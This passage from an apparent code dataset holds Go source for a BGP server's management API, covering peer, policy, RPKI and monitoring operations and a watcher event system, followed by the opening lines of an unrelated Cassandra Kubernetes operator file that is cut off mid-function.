DeletePeer(ctx context.Context, r *api.DeletePeerRequest) error { return s.mgmtOperation(func() error { c := &config.Neighbor{Config: config.NeighborConfig{ NeighborAddress: r.Address, NeighborInterface: r.Interface, }} return s.deleteNeighbor(c, bgp.BGP_ERROR_CEASE, bgp.BGP_ERROR_SUB_PEER_DECONFIGURED) }, true) } func (s *BgpServer) DeleteDynamicNeighbor(ctx context.Context, r *api.DeleteDynamicNeighborRequest) error { return s.mgmtOperation(func() error { s.peerGroupMap[r.PeerGroup].DeleteDynamicNeighbor(r.Prefix) return nil }, true) } func (s *BgpServer) updatePeerGroup(pg *config.PeerGroup) (needsSoftResetIn bool, err error) { name := pg.Config.PeerGroupName _, ok := s.peerGroupMap[name] if !ok { return false, fmt.Errorf(""peer-group %s doesn't exist"", name) } s.peerGroupMap[name].Conf = pg for _, n := range s.peerGroupMap[name].members { c := n u, err := s.updateNeighbor(&c) if err != nil { return needsSoftResetIn, err } needsSoftResetIn = needsSoftResetIn || u } return needsSoftResetIn, nil } func (s *BgpServer) UpdatePeerGroup(ctx context.Context, r *api.UpdatePeerGroupRequest) (rsp *api.UpdatePeerGroupResponse, err error) { doSoftreset := false err = s.mgmtOperation(func() error { pg, err := newPeerGroupFromAPIStruct(r.PeerGroup) if err != nil { return err } doSoftreset, err = s.updatePeerGroup(pg) return err }, true) return &api.UpdatePeerGroupResponse{NeedsSoftResetIn: doSoftreset}, err } func (s *BgpServer) updateNeighbor(c *config.Neighbor) (needsSoftResetIn bool, err error) { if c.Config.PeerGroup != """" { if pg, ok := s.peerGroupMap[c.Config.PeerGroup]; ok { if err := config.SetDefaultNeighborConfigValues(c, pg.Conf, &s.bgpConfig.Global); err != nil { return needsSoftResetIn, err } } else { return needsSoftResetIn, fmt.Errorf(""no such peer-group: %s"", c.Config.PeerGroup) } } addr, err := c.ExtractNeighborAddress() if err != nil { return needsSoftResetIn, err } peer, ok := s.neighborMap[addr] if !ok { return needsSoftResetIn, fmt.Errorf(""neighbor that has %v doesn't exist"", addr) } if !peer.fsm.pConf.ApplyPolicy.Equal(&c.ApplyPolicy) { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": addr, }).Info(""Update ApplyPolicy"") s.policy.SetPeerPolicy(peer.ID(), c.ApplyPolicy) peer.fsm.pConf.ApplyPolicy = c.ApplyPolicy needsSoftResetIn = true } original := peer.fsm.pConf if !original.AsPathOptions.Config.Equal(&c.AsPathOptions.Config) { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), }).Info(""Update aspath options"") needsSoftResetIn = true } if original.NeedsResendOpenMessage(c) { sub := uint8(bgp.BGP_ERROR_SUB_OTHER_CONFIGURATION_CHANGE) if original.Config.AdminDown != c.Config.AdminDown { sub = bgp.BGP_ERROR_SUB_ADMINISTRATIVE_SHUTDOWN state := ""Admin Down"" if !c.Config.AdminDown { state = ""Admin Up"" } log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), ""State"": state, }).Info(""Update admin-state configuration"") } else if original.Config.PeerAs != c.Config.PeerAs { sub = bgp.BGP_ERROR_SUB_PEER_DECONFIGURED } if err = s.deleteNeighbor(peer.fsm.pConf, bgp.BGP_ERROR_CEASE, sub); err != nil { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": addr, }).Error(err) return needsSoftResetIn, err } err = s.addNeighbor(c) if err != nil { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": addr, }).Error(err) } return needsSoftResetIn, err } if !original.Timers.Config.Equal(&c.Timers.Config) { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), }).Info(""Update timer configuration"") peer.fsm.pConf.Timers.Config = c.Timers.Config } err = peer.updatePrefixLimitConfig(c.AfiSafis) if err != nil { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": addr, }).Error(err) // rollback to original state peer.fsm.pConf = original } return needsSoftResetIn, err } func (s *BgpServer) UpdatePeer(ctx context.Context, r *api.UpdatePeerRequest) (rsp *api.UpdatePeerResponse, err error) { doSoftReset := false err = s.mgmtOperation(func() error { c, err := newNeighborFromAPIStruct(r.Peer) if err != nil { return err } doSoftReset, err = s.updateNeighbor(c) return err }, true) return &api.UpdatePeerResponse{NeedsSoftResetIn: doSoftReset}, err } func (s *BgpServer) addrToPeers(addr string) (l []*peer, err error) { if len(addr) == 0 { for _, p := range s.neighborMap { l = append(l, p) } return l, nil } p, found := s.neighborMap[addr] if !found { return l, fmt.Errorf(""neighbor that has %v doesn't exist"", addr) } return []*peer{p}, nil } func (s *BgpServer) sendNotification(op, addr string, subcode uint8, data []byte) error { log.WithFields(log.Fields{ ""Topic"": ""Operation"", ""Key"": addr, }).Info(op) peers, err := s.addrToPeers(addr) if err == nil { m := bgp.NewBGPNotificationMessage(bgp.BGP_ERROR_CEASE, subcode, data) for _, peer := range peers { sendfsmOutgoingMsg(peer, nil, m, false) } } return err } func (s *BgpServer) ShutdownPeer(ctx context.Context, r *api.ShutdownPeerRequest) error { return s.mgmtOperation(func() error { return s.sendNotification(""Neighbor shutdown"", r.Address, bgp.BGP_ERROR_SUB_ADMINISTRATIVE_SHUTDOWN, newAdministrativeCommunication(r.Communication)) }, true) } func (s *BgpServer) ResetPeer(ctx context.Context, r *api.ResetPeerRequest) error { return s.mgmtOperation(func() error { addr := r.Address comm := r.Communication if r.Soft { var err error if addr == ""all"" { addr = """" } family := bgp.RouteFamily(0) switch r.Direction { case api.ResetPeerRequest_IN: err = s.sResetIn(addr, family) case api.ResetPeerRequest_OUT: err = s.sResetOut(addr, family) case api.ResetPeerRequest_BOTH: err = s.sReset(addr, family) default: err = fmt.Errorf(""unknown direction"") } return err } err := s.sendNotification(""Neighbor reset"", addr, bgp.BGP_ERROR_SUB_ADMINISTRATIVE_RESET, newAdministrativeCommunication(comm)) if err != nil { return err } peers, _ := s.addrToPeers(addr) for _, peer := range peers { peer.fsm.lock.Lock() peer.fsm.idleHoldTime = peer.fsm.pConf.Timers.Config.IdleHoldTimeAfterReset peer.fsm.lock.Unlock() } return nil }, true) } func (s *BgpServer) setAdminState(addr, communication string, enable bool) error { peers, err := s.addrToPeers(addr) if err != nil { return err } for _, peer := range peers { f := func(stateOp *adminStateOperation, message string) { select { case peer.fsm.adminStateCh <- *stateOp: peer.fsm.lock.RLock() log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.fsm.pConf.State.NeighborAddress, }).Debug(message) peer.fsm.lock.RUnlock() default: peer.fsm.lock.RLock() log.Warning(""previous request is still remaining. : "", peer.fsm.pConf.State.NeighborAddress) peer.fsm.lock.RUnlock() } } if enable { f(&adminStateOperation{adminStateUp, nil}, ""adminStateUp requested"") } else { f(&adminStateOperation{adminStateDown, newAdministrativeCommunication(communication)}, ""adminStateDown requested"") } } return nil } func (s *BgpServer) EnablePeer(ctx context.Context, r *api.EnablePeerRequest) error { return s.mgmtOperation(func() error { return s.setAdminState(r.Address, """", true) }, true) } func (s *BgpServer) DisablePeer(ctx context.Context, r *api.DisablePeerRequest) error { return s.mgmtOperation(func() error { return s.setAdminState(r.Address, r.Communication, false) }, true) } func (s *BgpServer) ListDefinedSet(ctx context.Context, r *api.ListDefinedSetRequest, fn func(*api.DefinedSet)) error { var cd *config.DefinedSets var err error err = s.mgmtOperation(func() error { cd, err = s.policy.GetDefinedSet(table.DefinedType(r.DefinedType), r.Name) return err }, false) if err != nil { return err } exec := func(d *api.DefinedSet) bool { select { case <-ctx.Done(): return true default: fn(d) } return false } for _, cs := range cd.PrefixSets { ad := &api.DefinedSet{ DefinedType: api.DefinedType_PREFIX, Name: cs.PrefixSetName, Prefixes: func() []*api.Prefix { l := make([]*api.Prefix, 0, len(cs.PrefixList)) for _, p := range cs.PrefixList { elems := _regexpPrefixMaskLengthRange.FindStringSubmatch(p.MasklengthRange) min, _ := strconv.ParseUint(elems[1], 10, 32) max, _ := strconv.ParseUint(elems[2], 10, 32) l = append(l, &api.Prefix{IpPrefix: p.IpPrefix, MaskLengthMin: uint32(min), MaskLengthMax: uint32(max)}) } return l }(), } if exec(ad) { return nil } } for _, cs := range cd.NeighborSets { ad := &api.DefinedSet{ DefinedType: api.DefinedType_NEIGHBOR, Name: cs.NeighborSetName, List: cs.NeighborInfoList, } if exec(ad) { return nil } } for _, cs := range cd.BgpDefinedSets.CommunitySets { ad := &api.DefinedSet{ DefinedType: api.DefinedType_COMMUNITY, Name: cs.CommunitySetName, List: cs.CommunityList, } if exec(ad) { return nil } } for _, cs := range cd.BgpDefinedSets.ExtCommunitySets { ad := &api.DefinedSet{ DefinedType: api.DefinedType_EXT_COMMUNITY, Name: cs.ExtCommunitySetName, List: cs.ExtCommunityList, } if exec(ad) { return nil } } for _, cs := range cd.BgpDefinedSets.LargeCommunitySets { ad := &api.DefinedSet{ DefinedType: api.DefinedType_LARGE_COMMUNITY, Name: cs.LargeCommunitySetName, List: cs.LargeCommunityList, } if exec(ad) { return nil } } for _, cs := range cd.BgpDefinedSets.AsPathSets { ad := &api.DefinedSet{ DefinedType: api.DefinedType_AS_PATH, Name: cs.AsPathSetName, List: cs.AsPathList, } if exec(ad) { return nil } } return nil } func (s *BgpServer) AddDefinedSet(ctx context.Context, r *api.AddDefinedSetRequest) error { return s.mgmtOperation(func() error { if r == nil || r.DefinedSet == nil { return fmt.Errorf(""invalid request"") } set, err := newDefinedSetFromApiStruct(r.DefinedSet) if err != nil { return err } return s.policy.AddDefinedSet(set) }, false) } func (s *BgpServer) DeleteDefinedSet(ctx context.Context, r *api.DeleteDefinedSetRequest) error { return s.mgmtOperation(func() error { if r == nil || r.DefinedSet == nil { return fmt.Errorf(""invalid request"") } set, err := newDefinedSetFromApiStruct(r.DefinedSet) if err != nil { return err } return s.policy.DeleteDefinedSet(set, r.All) }, false) } func (s *BgpServer) ListStatement(ctx context.Context, r *api.ListStatementRequest, fn func(*api.Statement)) error { var l []*api.Statement s.mgmtOperation(func() error { s := s.policy.GetStatement(r.Name) l = make([]*api.Statement, 0, len(s)) for _, st := range s { l = append(l, toStatementApi(st)) } return nil }, false) for _, s := range l { select { case <-ctx.Done(): return nil default: fn(s) } } return nil } func (s *BgpServer) AddStatement(ctx context.Context, r *api.AddStatementRequest) error { return s.mgmtOperation(func() error { if r == nil || r.Statement == nil { return fmt.Errorf(""invalid request"") } st, err := newStatementFromApiStruct(r.Statement) if err != nil { return err } return s.policy.AddStatement(st) }, false) } func (s *BgpServer) DeleteStatement(ctx context.Context, r *api.DeleteStatementRequest) error { return s.mgmtOperation(func() error { if r == nil || r.Statement == nil { return fmt.Errorf(""invalid request"") } st, err := newStatementFromApiStruct(r.Statement) if err == nil { err = s.policy.DeleteStatement(st, r.All) } return err }, false) } func (s *BgpServer) ListPolicy(ctx context.Context, r *api.ListPolicyRequest, fn func(*api.Policy)) error { var l []*api.Policy s.mgmtOperation(func() error { pl := s.policy.GetPolicy(r.Name) l = make([]*api.Policy, 0, len(pl)) for _, p := range pl { l = append(l, table.ToPolicyApi(p)) } return nil }, false) for _, p := range l { select { case <-ctx.Done(): return nil default: fn(p) } } return nil } func (s *BgpServer) AddPolicy(ctx context.Context, r *api.AddPolicyRequest) error { return s.mgmtOperation(func() error { if r == nil || r.Policy == nil { return fmt.Errorf(""invalid request"") } p, err := newPolicyFromApiStruct(r.Policy) if err == nil { err = s.policy.AddPolicy(p, r.ReferExistingStatements) } return err }, false) } func (s *BgpServer) DeletePolicy(ctx context.Context, r *api.DeletePolicyRequest) error { return s.mgmtOperation(func() error { if r == nil || r.Policy == nil { return fmt.Errorf(""invalid request"") } p, err := newPolicyFromApiStruct(r.Policy) if err != nil { return err } l := make([]string, 0, len(s.neighborMap)+1) for _, peer := range s.neighborMap { l = append(l, peer.ID()) } l = append(l, table.GLOBAL_RIB_NAME) return s.policy.DeletePolicy(p, r.All, r.PreserveStatements, l) }, false) } func (s *BgpServer) toPolicyInfo(name string, dir api.PolicyDirection) (string, table.PolicyDirection, error) { if name == """" { return """", table.POLICY_DIRECTION_NONE, fmt.Errorf(""empty table name"") } if name == table.GLOBAL_RIB_NAME { name = table.GLOBAL_RIB_NAME } else { peer, ok := s.neighborMap[name] if !ok { return """", table.POLICY_DIRECTION_NONE, fmt.Errorf(""not found peer %s"", name) } if !peer.isRouteServerClient() { return """", table.POLICY_DIRECTION_NONE, fmt.Errorf(""non-rs-client peer %s doesn't have per peer policy"", name) } name = peer.ID() } switch dir { case api.PolicyDirection_IMPORT: return name, table.POLICY_DIRECTION_IMPORT, nil case api.PolicyDirection_EXPORT: return name, table.POLICY_DIRECTION_EXPORT, nil } return """", table.POLICY_DIRECTION_NONE, fmt.Errorf(""invalid policy type"") } func (s *BgpServer) ListPolicyAssignment(ctx context.Context, r *api.ListPolicyAssignmentRequest, fn func(*api.PolicyAssignment)) error { var a []*api.PolicyAssignment err := s.mgmtOperation(func() error { if r == nil { return fmt.Errorf(""invalid request"") } names := make([]string, 0, len(s.neighborMap)+1) if r.Name == """" { names = append(names, table.GLOBAL_RIB_NAME) for name, peer := range s.neighborMap { if peer.isRouteServerClient() { names = append(names, name) } } } else { names = append(names, r.Name) } dirs := make([]api.PolicyDirection, 0, 2) if r.Direction == api.PolicyDirection_UNKNOWN { dirs = []api.PolicyDirection{api.PolicyDirection_EXPORT, api.PolicyDirection_IMPORT} } else { dirs = append(dirs, r.Direction) } a = make([]*api.PolicyAssignment, 0, len(names)) for _, name := range names { for _, dir := range dirs { id, dir, err := s.toPolicyInfo(name, dir) if err != nil { return err } rt, policies, err := s.policy.GetPolicyAssignment(id, dir) if err != nil { return err } t := &table.PolicyAssignment{ Name: name, Type: dir, Default: rt, Policies: policies, } a = append(a, table.NewAPIPolicyAssignmentFromTableStruct(t)) } } return nil }, false) if err == nil { for _, p := range a { select { case <-ctx.Done(): return nil default: fn(p) } } } return err } func (s *BgpServer) AddPolicyAssignment(ctx context.Context, r *api.AddPolicyAssignmentRequest) error { return s.mgmtOperation(func() error { if r == nil || r.Assignment == nil { return fmt.Errorf(""invalid request"") } id, dir, err := s.toPolicyInfo(r.Assignment.Name, r.Assignment.Direction) if err != nil { return err } return s.policy.AddPolicyAssignment(id, dir, toPolicyDefinition(r.Assignment.Policies), defaultRouteType(r.Assignment.DefaultAction)) }, false) } func (s *BgpServer) DeletePolicyAssignment(ctx context.Context, r *api.DeletePolicyAssignmentRequest) error { return s.mgmtOperation(func() error { if r == nil || r.Assignment == nil { return fmt.Errorf(""invalid request"") } id, dir, err := s.toPolicyInfo(r.Assignment.Name, r.Assignment.Direction) if err != nil { return err } return s.policy.DeletePolicyAssignment(id, dir, toPolicyDefinition(r.Assignment.Policies), r.All) }, false) } func (s *BgpServer) SetPolicyAssignment(ctx context.Context, r *api.SetPolicyAssignmentRequest) error { return s.mgmtOperation(func() error { if r == nil || r.Assignment == nil { return fmt.Errorf(""invalid request"") } id, dir, err := s.toPolicyInfo(r.Assignment.Name, r.Assignment.Direction) if err != nil { return err } return s.policy.SetPolicyAssignment(id, dir, toPolicyDefinition(r.Assignment.Policies), defaultRouteType(r.Assignment.DefaultAction)) }, false) } func (s *BgpServer) EnableMrt(ctx context.Context, r *api.EnableMrtRequest) error { return s.mgmtOperation(func() error { return s.mrtManager.enable(&config.MrtConfig{ DumpInterval: r.DumpInterval, RotationInterval: r.RotationInterval, DumpType: config.IntToMrtTypeMap[int(r.DumpType)], FileName: r.Filename, }) }, false) } func (s *BgpServer) DisableMrt(ctx context.Context, r *api.DisableMrtRequest) error { return s.mgmtOperation(func() error { return s.mrtManager.disable(&config.MrtConfig{}) }, false) } func (s *BgpServer) ListRpki(ctx context.Context, r *api.ListRpkiRequest, fn func(*api.Rpki)) error { var l []*api.Rpki err := s.mgmtOperation(func() error { for _, r := range s.roaManager.GetServers() { received := &r.State.RpkiMessages.RpkiReceived sent := &r.State.RpkiMessages.RpkiSent rpki := &api.Rpki{ Conf: &api.RPKIConf{ Address: r.Config.Address, RemotePort: uint32(r.Config.Port), }, State: &api.RPKIState{ Uptime: config.ProtoTimestamp(r.State.Uptime), Downtime: config.ProtoTimestamp(r.State.Downtime), Up: r.State.Up, RecordIpv4: r.State.RecordsV4, RecordIpv6: r.State.RecordsV6, PrefixIpv4: r.State.PrefixesV4, PrefixIpv6: r.State.PrefixesV6, Serial: r.State.SerialNumber, ReceivedIpv4: received.Ipv4Prefix, ReceivedIpv6: received.Ipv6Prefix, SerialNotify: received.SerialNotify, CacheReset: received.CacheReset, CacheResponse: received.CacheResponse, EndOfData: received.EndOfData, Error: received.Error, SerialQuery: sent.SerialQuery, ResetQuery: sent.ResetQuery, }, } l = append(l, rpki) } return nil }, false) if err == nil { for _, r := range l { select { case <-ctx.Done(): return nil default: fn(r) } } } return err } func (s *BgpServer) ListRpkiTable(ctx context.Context, r *api.ListRpkiTableRequest, fn func(*api.Roa)) error { var l []*api.Roa err := s.mgmtOperation(func() error { family := bgp.RouteFamily(0) if r.Family != nil { family = bgp.AfiSafiToRouteFamily(uint16(r.Family.Afi), uint8(r.Family.Safi)) } roas, err := s.roaTable.List(family) if err == nil { l = append(l, newRoaListFromTableStructList(roas)...) } return err }, false) if err == nil { for _, roa := range l { select { case <-ctx.Done(): return nil default: fn(roa) } } } return err } func (s *BgpServer) AddRpki(ctx context.Context, r *api.AddRpkiRequest) error { return s.mgmtOperation(func() error { return s.roaManager.AddServer(net.JoinHostPort(r.Address, strconv.Itoa(int(r.Port))), r.Lifetime) }, false) } func (s *BgpServer) DeleteRpki(ctx context.Context, r *api.DeleteRpkiRequest) error { return s.mgmtOperation(func() error { return s.roaManager.DeleteServer(r.Address) }, false) } func (s *BgpServer) EnableRpki(ctx context.Context, r *api.EnableRpkiRequest) error { return s.mgmtOperation(func() error { return s.roaManager.Enable(r.Address) }, false) } func (s *BgpServer) DisableRpki(ctx context.Context, r *api.DisableRpkiRequest) error { return s.mgmtOperation(func() error { return s.roaManager.Disable(r.Address) }, false) } func (s *BgpServer) ResetRpki(ctx context.Context, r *api.ResetRpkiRequest) error { return s.mgmtOperation(func() error { if r.Soft { return s.roaManager.SoftReset(r.Address) } return s.roaManager.Reset(r.Address) }, false) } func (s *BgpServer) MonitorTable(ctx context.Context, r *api.MonitorTableRequest, fn func(*api.Path)) error { if r == nil { return fmt.Errorf(""nil request"") } w, err := func() (*watcher, error) { switch r.TableType { case api.TableType_GLOBAL: return s.watch(watchBestPath(r.Current)), nil case api.TableType_ADJ_IN: if r.PostPolicy { return s.watch(watchPostUpdate(r.Current, r.Name)), nil } return s.watch(watchUpdate(r.Current, r.Name)), nil default: return nil, fmt.Errorf(""unsupported resource type: %v"", r.TableType) } }() if err != nil { return err } go func() { defer func() { w.Stop() }() family := bgp.RouteFamily(0) if r.Family != nil { family = bgp.AfiSafiToRouteFamily(uint16(r.Family.Afi), uint8(r.Family.Safi)) } for { select { case ev := <-w.Event(): var pl []*table.Path switch msg := ev.(type) { case *watchEventBestPath: if len(msg.MultiPathList) > 0 { l := make([]*table.Path, 0) for _, p := range msg.MultiPathList { l = append(l, p...) } pl = l } else { pl = msg.PathList } case *watchEventUpdate: pl = msg.PathList } for _, path := range pl { if path == nil || (r.Family != nil && family != path.GetRouteFamily()) { continue } if len(r.Name) > 0 && r.Name != path.GetSource().Address.String() { continue } select { case <-ctx.Done(): return default: fn(toPathApi(path, nil, false, false)) } } case <-ctx.Done(): return } } }() return nil } func (s *BgpServer) MonitorPeer(ctx context.Context, r *api.MonitorPeerRequest, fn func(*api.Peer)) error { if r == nil { return fmt.Errorf(""nil request"") } go func() { // So that both flags are not required, assume that if the // initial_state flag is true, then the caller desires that the initial // state be returned whether or not it is established and regardless of // the value of `current`. current := r.Current || r.InitialState nonEstablished := r.InitialState w := s.watch(watchPeerState(current, nonEstablished)) defer func() { w.Stop() }() for { select { case m := <-w.Event(): msg := m.(*watchEventPeerState) if len(r.Address) > 0 && r.Address != msg.PeerAddress.String() && r.Address != msg.PeerInterface { break } p := &api.Peer{ Conf: &api.PeerConf{ PeerAs: msg.PeerAS, LocalAs: msg.LocalAS, NeighborAddress: msg.PeerAddress.String(), NeighborInterface: msg.PeerInterface, }, State: &api.PeerState{ PeerAs: msg.PeerAS, LocalAs: msg.LocalAS, NeighborAddress: msg.PeerAddress.String(), SessionState: api.PeerState_SessionState(int(msg.State) + 1), AdminState: api.PeerState_AdminState(msg.AdminState), RouterId: msg.PeerID.String(), }, Transport: &api.Transport{ LocalAddress: msg.LocalAddress.String(), LocalPort: uint32(msg.LocalPort), RemotePort: uint32(msg.PeerPort), }, } fn(p) case <-ctx.Done(): return } } }() return nil } func (s *BgpServer) SetLogLevel(ctx context.Context, r *api.SetLogLevelRequest) error { prevLevel := log.GetLevel() newLevel := log.Level(r.Level) if prevLevel == newLevel { log.WithFields(log.Fields{ ""Topic"": ""Config"", }).Infof(""Logging level unchanged -- level already set to %v"", newLevel) } else { log.SetLevel(newLevel) log.WithFields(log.Fields{ ""Topic"": ""Config"", }).Infof(""Logging level changed -- prev: %v, new: %v"", prevLevel, newLevel) } return nil } type watchEventType string const ( watchEventTypeBestPath watchEventType = ""bestpath"" watchEventTypePreUpdate watchEventType = ""preupdate"" watchEventTypePostUpdate watchEventType = ""postupdate"" watchEventTypePeerState watchEventType = ""peerstate"" watchEventTypeTable watchEventType = ""table"" watchEventTypeRecvMsg watchEventType = ""receivedmessage"" ) type watchEvent interface { } type watchEventUpdate struct { Message *bgp.BGPMessage PeerAS uint32 LocalAS uint32 PeerAddress net.IP LocalAddress net.IP PeerID net.IP FourBytesAs bool Timestamp time.Time Payload []byte PostPolicy bool Init bool PathList []*table.Path Neighbor *config.Neighbor } type watchEventPeerState struct { PeerAS uint32 LocalAS uint32 PeerAddress net.IP LocalAddress net.IP PeerPort uint16 LocalPort uint16 PeerID net.IP SentOpen *bgp.BGPMessage RecvOpen *bgp.BGPMessage State bgp.FSMState StateReason *fsmStateReason AdminState adminState Timestamp time.Time PeerInterface string } type watchEventAdjIn struct { PathList []*table.Path } type watchEventTable struct { RouterID string PathList map[string][]*table.Path Neighbor []*config.Neighbor } type watchEventBestPath struct { PathList []*table.Path MultiPathList [][]*table.Path Vrf map[uint32]bool } type watchEventMessage struct { Message *bgp.BGPMessage PeerAS uint32 LocalAS uint32 PeerAddress net.IP LocalAddress net.IP PeerID net.IP FourBytesAs bool Timestamp time.Time IsSent bool } type watchOptions struct { bestpath bool preUpdate bool postUpdate bool peerState bool initBest bool initUpdate bool initPostUpdate bool initPeerState bool nonEstablished bool tableName string recvMessage bool peerAddress string } type watchOption func(*watchOptions) func watchBestPath(current bool) watchOption { return func(o *watchOptions) { o.bestpath = true if current { o.initBest = true } } } func watchUpdate(current bool, peerAddress string) watchOption { return func(o *watchOptions) { o.preUpdate = true if current { o.initUpdate = true } o.peerAddress = peerAddress } } func watchPostUpdate(current bool, peerAddress string) watchOption { return func(o *watchOptions) { o.postUpdate = true if current { o.initPostUpdate = true } o.peerAddress = peerAddress } } func watchPeerState(current, includeNonEstablished bool) watchOption { return func(o *watchOptions) { o.peerState = true if current { o.initPeerState = true if includeNonEstablished { o.nonEstablished = true } } } } func watchTableName(name string) watchOption { return func(o *watchOptions) { o.tableName = name } } func watchMessage(isSent bool) watchOption { return func(o *watchOptions) { if isSent { log.WithFields(log.Fields{ ""Topic"": ""Server"", }).Warn(""watch event for sent messages is not implemented yet"") // o.sentMessage = true } else { o.recvMessage = true } } } type watcher struct { opts watchOptions realCh chan watchEvent ch *channels.InfiniteChannel s *BgpServer } func (w *watcher) Event() <-chan watchEvent { return w.realCh } func (w *watcher) Generate(t watchEventType) error { return w.s.mgmtOperation(func() error { switch t { case watchEventTypePreUpdate: pathList := make([]*table.Path, 0) for _, peer := range w.s.neighborMap { pathList = append(pathList, peer.adjRibIn.PathList(peer.configuredRFlist(), false)...) } w.notify(&watchEventAdjIn{PathList: clonePathList(pathList)}) case watchEventTypeTable: rib := w.s.globalRib as := uint32(0) id := table.GLOBAL_RIB_NAME if len(w.opts.tableName) > 0 { peer, ok := w.s.neighborMap[w.opts.tableName] if !ok { return fmt.Errorf(""neighbor that has %v doesn't exist"", w.opts.tableName) } if !peer.isRouteServerClient() { return fmt.Errorf(""neighbor %v doesn't have local rib"", w.opts.tableName) } id = peer.ID() as = peer.AS() rib = w.s.rsRib } pathList := func() map[string][]*table.Path { pathList := make(map[string][]*table.Path) for _, t := range rib.Tables { for _, dst := range t.GetDestinations() { if paths := dst.GetKnownPathList(id, as); len(paths) > 0 { pathList[dst.GetNlri().String()] = clonePathList(paths) } } } return pathList }() l := make([]*config.Neighbor, 0, len(w.s.neighborMap)) for _, peer := range w.s.neighborMap { l = append(l, w.s.toConfig(peer, false)) } w.notify(&watchEventTable{PathList: pathList, Neighbor: l}) default: return fmt.Errorf(""unsupported type %v"", t) } return nil }, false) } func (w *watcher) notify(v watchEvent) { w.ch.In() <- v } func (w *watcher) loop() { for ev := range w.ch.Out() { w.realCh <- ev.(watchEvent) } close(w.realCh) } func (w *watcher) Stop() { w.s.mgmtOperation(func() error { for k, l := range w.s.watcherMap { for i, v := range l { if w == v { w.s.watcherMap[k] = append(l[:i], l[i+1:]...) break } } } cleanInfiniteChannel(w.ch) // the loop function goroutine might be blocked for // writing to realCh. make sure it finishes. for range w.realCh { } return nil }, false) } func (s *BgpServer) isWatched(typ watchEventType) bool { return len(s.watcherMap[typ]) != 0 } func (s *BgpServer) notifyWatcher(typ watchEventType, ev watchEvent) { for _, w := range s.watcherMap[typ] { w.notify(ev) } } func (s *BgpServer) watch(opts ...watchOption) (w *watcher) { s.mgmtOperation(func() error { w = &watcher{ s: s, realCh: make(chan watchEvent, 8), ch: channels.NewInfiniteChannel(), } for _, opt := range opts { opt(&w.opts) } register := func(t watchEventType, w *watcher) { s.watcherMap[t] = append(s.watcherMap[t], w) } if w.opts.bestpath { register(watchEventTypeBestPath, w) } if w.opts.preUpdate { register(watchEventTypePreUpdate, w) } if w.opts.postUpdate { register(watchEventTypePostUpdate, w) } if w.opts.peerState { register(watchEventTypePeerState, w) } if w.opts.initPeerState { for _, peer := range s.neighborMap { if !w.opts.nonEstablished { peer.fsm.lock.RLock() notEstablished := peer.fsm.state != bgp.BGP_FSM_ESTABLISHED peer.fsm.lock.RUnlock() if notEstablished { continue } } w.notify(newWatchEventPeerState(peer, nil)) } } if w.opts.initBest && s.active() == nil { w.notify(&watchEventBestPath{ PathList: s.globalRib.GetBestPathList(table.GLOBAL_RIB_NAME, 0, nil), MultiPathList: s.globalRib.GetBestMultiPathList(table.GLOBAL_RIB_NAME, nil), }) } if w.opts.initUpdate { for _, peer := range s.neighborMap { peer.fsm.lock.RLock() notEstablished := peer.fsm.state != bgp.BGP_FSM_ESTABLISHED peerAddress := peer.fsm.peerInfo.Address.String() peer.fsm.lock.RUnlock() if notEstablished { continue } if len(w.opts.peerAddress) > 0 && w.opts.peerAddress != peerAddress { continue } configNeighbor := w.s.toConfig(peer, false) for _, rf := range peer.configuredRFlist() { peer.fsm.lock.RLock() _, y := peer.fsm.capMap[bgp.BGP_CAP_FOUR_OCTET_AS_NUMBER] l, _ := peer.fsm.LocalHostPort() update := &watchEventUpdate{ PeerAS: peer.fsm.peerInfo.AS, LocalAS: peer.fsm.peerInfo.LocalAS, PeerAddress: peer.fsm.peerInfo.Address, LocalAddress: net.ParseIP(l), PeerID: peer.fsm.peerInfo.ID, FourBytesAs: y, Init: true, PostPolicy: false, Neighbor: configNeighbor, PathList: peer.adjRibIn.PathList([]bgp.RouteFamily{rf}, false), } peer.fsm.lock.RUnlock() w.notify(update) eor := bgp.NewEndOfRib(rf) eorBuf, _ := eor.Serialize() peer.fsm.lock.RLock() update = &watchEventUpdate{ Message: eor, PeerAS: peer.fsm.peerInfo.AS, LocalAS: peer.fsm.peerInfo.LocalAS, PeerAddress: peer.fsm.peerInfo.Address, LocalAddress: net.ParseIP(l), PeerID: peer.fsm.peerInfo.ID, FourBytesAs: y, Timestamp: time.Now(), Init: true, Payload: eorBuf, PostPolicy: false, Neighbor: configNeighbor, } peer.fsm.lock.RUnlock() w.notify(update) } } } if w.opts.initPostUpdate && s.active() == nil { for _, rf := range s.globalRib.GetRFlist() { if len(s.globalRib.Tables[rf].GetDestinations()) == 0 { continue } pathsByPeer := make(map[*table.PeerInfo][]*table.Path) for _, path := range s.globalRib.GetPathList(table.GLOBAL_RIB_NAME, 0, []bgp.RouteFamily{rf}) { pathsByPeer[path.GetSource()] = append(pathsByPeer[path.GetSource()], path) } for peerInfo, paths := range pathsByPeer { // create copy which can be access to without mutex var configNeighbor *config.Neighbor peerAddress := peerInfo.Address.String() if peer, ok := s.neighborMap[peerAddress]; ok { configNeighbor = w.s.toConfig(peer, false) } if w.opts.peerAddress != """" && w.opts.peerAddress != peerAddress { continue } w.notify(&watchEventUpdate{ PeerAS: peerInfo.AS, PeerAddress: peerInfo.Address, PeerID: peerInfo.ID, PostPolicy: true, Neighbor: configNeighbor, PathList: paths, Init: true, }) eor := bgp.NewEndOfRib(rf) eorBuf, _ := eor.Serialize() w.notify(&watchEventUpdate{ Message: eor, PeerAS: peerInfo.AS, PeerAddress: peerInfo.Address, PeerID: peerInfo.ID, Timestamp: time.Now(), Payload: eorBuf, PostPolicy: true, Neighbor: configNeighbor, Init: true, }) } } } if w.opts.recvMessage { register(watchEventTypeRecvMsg, w) } go w.loop() return nil }, false) return w } ",remoteCap 732,"package cluster import ( ""sort"" v1 ""k8s.io/api/core/v1"" ""github.com/instaclustr/cassandra-operator/pkg/apis/cassandraoperator/v1alpha1"" ) func BuildRacksDistribution(spec v1alpha1.CassandraDataCenterSpec) (racksDistribution Racks) { // If racks are not provided, we place everything in 1 Rack if spec.Racks == nil { 